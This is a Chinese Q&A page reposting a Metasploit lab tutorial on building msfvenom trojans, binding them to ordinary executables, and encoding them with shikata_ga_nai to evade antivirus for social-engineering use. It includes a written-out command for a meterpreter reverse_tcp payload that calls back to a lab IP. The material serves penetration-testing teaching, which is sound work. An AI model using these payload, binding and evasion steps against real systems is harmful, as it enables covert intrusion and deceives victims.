问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

Metasploit实现木马生成、捆绑及免杀

发布网友 发布时间:2024-09-27 15:59

我来回答

1个回答

热心网友 时间:2024-10-26 05:04

简介

在渗透测试的过程中,避免不了使用到社会工程学的方式来诱骗对方运行我们的木马或者点击我们准备好的恶意链接。木马的捆绑在社会工程学中是我们经常使用的手段,而为了躲避杀毒软件的查杀,我们又不得不对木马进行免杀处理。本次实验我们将学习如何通过Metasploit的msfvenom命令来生成木马、捆绑木马以及对木马进行免杀处理。木马文件风险高,想要免杀需要用shellter工具捆绑下,但是处理后木马文件还是能被360检测到拦截下来。

实验环境:KaliLinux

知识点:msfvenom如何生成木马,msfvenom如何捆绑木马到常用软件,msfvenom如何对木马进行编码免杀。

Metasploit介绍

Metasploit是一个可用来发现、验证和利用漏洞的渗透测试平台,目前实验环境中Metasploit的版本是v4.12.23-dev包含了1577个exploits、907个auxiliary、272个post、455个payloads、39个encoders以及8个nops。

其中exploits是漏洞利用模块(也叫渗透攻击模块),auxiliary是辅助模块,post是后渗透攻击模块,payloads是攻击载荷也就是我们常说的shellcode,这里生成的木马其实就是payloads。

在本次试验中我们主要使用的是msfpayload(攻击荷载生成器),msfencoder(编码器)的替代品msfvenom,msfvenom集成了前两者的全部功能,可以生成payload(本节所说的木马)以及对payload编码免杀和避免坏字符、捆绑木马等。在KaliLinux中默认安装了Metasploitframework我们可以直接使用。

攻击机:KaliLinux2.0虚拟机,主机名是kali,IP地址为192.168.122.101,默认用户名和密码为root/toor。

靶机:Metasploitable2虚拟机,主机名是target,IP地址为192.168.122.102,默认用户名和密码为msfadmin/msfadmin。

本次实验我们只用到KaliLinux虚拟机。

我们先来查看当前环境虚拟机的列表和状态:

因环境中虚拟机太慢,这里采用docker容器。进入kalilinux系统的方式如下:

生成木马

在进行木马生成实验之前我们先来学习一下msfvenom命令的用法。在Kalilinux下输入如下命令,可以看到msfvenom的命令行选项。

./msfvenom-h捆绑木马

通常我们生成了木马之后,要运用社会工程学的攻击方式诱骗目标运行我们的木马程序,否则我们的木马只是玩具罢了。

捆绑木马我们还是使用上面提到的msfvenom命令,只不过这里我们要用到一个新的命令行选项-x。我们来看一下-x选项的用法及含义。

-x选项:允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。

将生成的木马当做常用应用程序来捆绑木马。

虽然我们已经准备好了木马程序,并且也捆绑到了常用的应用程序上,但是现在杀毒软件泛滥,不经过免杀就算成功上传到目标主机,估计还没等运行就被杀掉了。这里用msfvenom生成木马同时对payload编码来实现木马的简单免杀。我们先来学习一下我们要用到的命令选项:

-e选项:用来指定要使用的编码器。-i选项:用来指定对payload编码的次数。先来看一下都有哪些编码器可用:

这里我们挑选一个免杀效果比较好的编码器x86/shikata_ga_nai,进行编码:

msfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=192.168.122.101-ex86/shikata_ga_nai-i5-felf-o/root/payload_encoder.elf总结

从图中我们可以看到完成了对木马的5次编码,这样木马基本上就可以躲避部分杀毒软件的查杀,其实还可以对木马程序进行多次编码,虽然可以提高木马的免杀几率,不过可能会导致木马程序不可用。当然要想免杀效果更好就需要使用Metasploitpro版本或者给木马加壳、修改木马的特征码等等,不过要想躲过全部杀毒软件的查杀则会有些难度,通常会针对某个杀毒软件进行免杀。

来源:阿里云

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
急求高人解答 ···管理类的问题 ···!!!急急急···我会在线等... ...如果基层管理幅度为8,高层管理人员管理幅度为3,则该公司中层管理人员... ...发生化学变化的实质是( )A.分子间隔发生变化B.物质状态发生改变C... 下列变化不能说明发生了化学变化的是( )A.变化时有电子的得失或共用电... 下列描述正确的是( )A.固态物质的分子间无间隔B.液态物质的分子不断运动... 原来微信打开这个功能,能够看到马路上的街景,涨知识了! ...百度帐号被人在异地登录了,问题是没有任何人知道我的密码啊?而且也... 医疗事故纠纷和医疗损害纠纷的区别是什么 医疗纠纷与医疗事故的定义是什么? 医疗事故纠纷是指什么的 家庭如何做蛋糕 雨的英文怎么写,有什么词语可以表示下雨? 美国和加拿大的气候请用几个词语描述一下 新闻三十分是几点 云客通软件有什么功能?好用吗? 数学问题有哪些 数学有哪些问题 关于数学的问题有哪些 电脑开机后出现提示“window找不到文件c:\window\web\svchost.vbs. 请... ...我的电脑也是这样不知道问什么文件夹里面的东西全都没了但是那里显示... 红包扫雷违法吗 银行回单登录账号是什么 空调清洗这个市场我看行,问题是我该咋宣传啊??万一清洗时出故障了咋办... 如何开发完美空调泡沫清洁剂市场 空调护理清洁业务怎么跑市场,不要网上复制的答案和广告,要真实有效的... 社工证是社会工作师吗是做什么工作的 买股票净资产越高越好吗 螺旋勇士共鸣度有什么用 誓灵共享属性 螺旋勇士晶片在哪儿提取 进一步提升誓灵能力 螺旋勇士辉光阵营角色有哪些 誓灵介绍 三大渗透测试框架:metasploit、empire、cobalt strike 淘宝拼团俩人都发货么 软键盘有什么分类 电脑一直反复重启是什么原因啊? 十万元能做些什么 十万元干什么挣钱 如果商家拒绝退货怎么办? 兰尼库克(苹果公司CEO) 退伍后被判刑四年会开除军籍吗 请问现役军人副师级如果被判刑期五年内,出来后原待遇还有吗? 苹果15promax怎么录屏幕视频苹果15promax录屏幕视频方法【详解】 Python小白入门:while循环和for循环 Python 哪种方式循环最快,或许颠覆你的认知! 洪泽到淮北的火车站列车时刻表 如何卸载电脑无用软件 Win10电脑如何快速卸载无用软件? 使用adb卸载手机自带的无用的系统应用 Gentoo Linux卸载无用内核 苹果6s刷机方法 汕头一日游旅游攻略,周边一日游景区推荐汕头